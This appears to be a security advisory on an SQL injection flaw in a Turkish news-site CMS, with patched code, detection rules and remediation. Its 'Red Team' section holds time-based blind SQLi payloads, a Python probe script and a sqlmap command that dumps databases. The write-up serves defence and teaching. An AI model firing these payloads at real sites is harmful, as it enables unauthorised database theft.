CVE-2019-25513

Executive Summary

CVE-2019-25513 is a critical unauthenticated SQL injection vulnerability in Jettweb PHP Hazir Haber Sitesi Scripti V3, a Turkish news website CMS. The flaw resides in the datagetir.php script, where the q GET parameter is directly concatenated into SQL queries without sanitization. An attacker can exploit this using time-based blind SQL injection to extract the entire database, including user credentials and session tokens, or bypass authentication entirely. No official patch exists, and the vendor appears defunct. This vulnerability is actively targeted by automated scanners and poses a severe risk to any remaining installations.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications exist beyond the direct use of the vulnerable script.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – full database read.
• Integrity (I): High – data can be modified via SQL.
• Availability (A): High – potential for denial of service via heavy queries.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and no patch exists. Any exposed instance is at immediate risk of complete compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the datagetir.php file. The application likely constructs a query similar to:

$q = $_GET['q'];
$query = "SELECT * FROM haberler WHERE baslik LIKE '%$q%'";
$result = mysqli_query($conn, $query);

The q parameter is directly interpolated into the SQL string. Because the application does not use prepared statements or parameterized queries, an attacker can inject arbitrary SQL. Since the output is not directly reflected (blind injection), time-based techniques are used. For example:

' OR IF(1=1, SLEEP(5), 0) -- -

This causes a 5-second delay if the condition is true, allowing an attacker to infer information bit by bit.

Key vulnerable file: datagetir.php
Vulnerable parameter: q (GET)
Database: MySQL (assumed from mysqli functions)

Vulnerable vs. Patched Code

Vulnerable Code (datagetir.php):

<?php
include 'config.php';
$q = $_GET['q'];
$query = "SELECT * FROM haberler WHERE baslik LIKE '%$q%'";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
    echo $row['baslik'] . "<br>";
}
?>

Patched Code (using prepared statements):

<?php
include 'config.php';
$q = $_GET['q'];
$stmt = $conn->prepare("SELECT * FROM haberler WHERE baslik LIKE ?");
$searchTerm = '%' . $q . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
    echo htmlspecialchars($row['baslik'], ENT_QUOTES, 'UTF-8') . "<br>";
}
?>

The patch uses a prepared statement with a parameterized query, completely preventing SQL injection. Additionally, output is HTML-encoded to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Jettweb PHP Hazir Haber Sitesi Scripti V3.
• Python 3 with requests library.

Exploit Script (time-based blind SQLi):

import requests
import time

target = "http://target.com/datagetir.php"
payloads = {
    "check_vuln": "' OR SLEEP(5)-- -",
    "extract_user": "' OR IF((SELECT SUBSTRING(user(),1,1))='r',SLEEP(5),0)-- -"
}

# Step 1: Verify vulnerability
start = time.time()
r = requests.get(target, params={"q": payloads["check_vuln"]})
if time.time() - start > 4:
    print("[+] Vulnerable to time-based SQLi")
else:
    print("[-] Not vulnerable")
    exit()

# Step 2: Extract database version (example)
# Use binary search or substring extraction
# Full extraction requires a more complex script

Manual Exploitation (using sqlmap):

sqlmap -u "http://target.com/datagetir.php?q=test" --batch --dbs

Expected Outcome: Full database dump, including admin credentials.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual q parameter values containing SQL keywords (SLEEP, OR, IF, UNION).
2. Look for abnormally long response times (e.g., >5 seconds) on datagetir.php.
3. Check web server logs for repeated requests to datagetir.php with varying q values.

Response:

• Immediately block the attacking IP at the firewall.
• Take the vulnerable application offline.
• Restore from a known good backup if available.
• Implement a WAF rule to block SQLi patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• GET requests to /datagetir.php?q=* containing SLEEP, BENCHMARK, OR, AND, UNION.
• Response times >5 seconds for datagetir.php.
• Source IPs performing repeated, automated SQLi attempts.

File IOCs:

• Modified datagetir.php (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing datagetir.php with q parameter containing SQL fragments.
• Database logs showing slow queries or errors from datagetir.php.

Detection Engineering

YARA Rule

rule CVE_2019_25513_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25513"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25513"
    strings:
        $sqli1 = /datagetir\.php\?q=.*(?:SLEEP|BENCHMARK|OR|AND|UNION|SELECT|IF)/i
        $sqli2 = /datagetir\.php\?q=.*(?:'|%27|--|%23)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25513 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb PHP Hazir Haber Sitesi Scripti V3
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'datagetir.php?q='
        cs-uri-query|re: 
            - '(SLEEP|BENCHMARK|OR|AND|UNION|SELECT|IF)'
            - "('|%27|--|%23)"
    condition: selection
falsepositives:
    - Legitimate search queries containing these words (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25513 SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/datagetir.php"; http_uri;
    content:"q="; http_uri;
    pcre:"/(SLEEP|BENCHMARK|OR|AND|UNION|SELECT|IF)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the server from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity rule to block q parameter containing SQL keywords).
3. Replace the vulnerable datagetir.php with the patched version (see above).
4. Audit the entire codebase for similar injection flaws.

Long-Term Fix:

• Rewrite the application using a modern framework with built-in SQL injection protection (e.g., Laravel, Symfony).
• Migrate to a supported CMS (e.g., WordPress with security plugins).
• Implement regular security scanning and penetration testing.

Workaround:

• Disable datagetir.php by renaming or removing it if the functionality is not critical.

Valters IT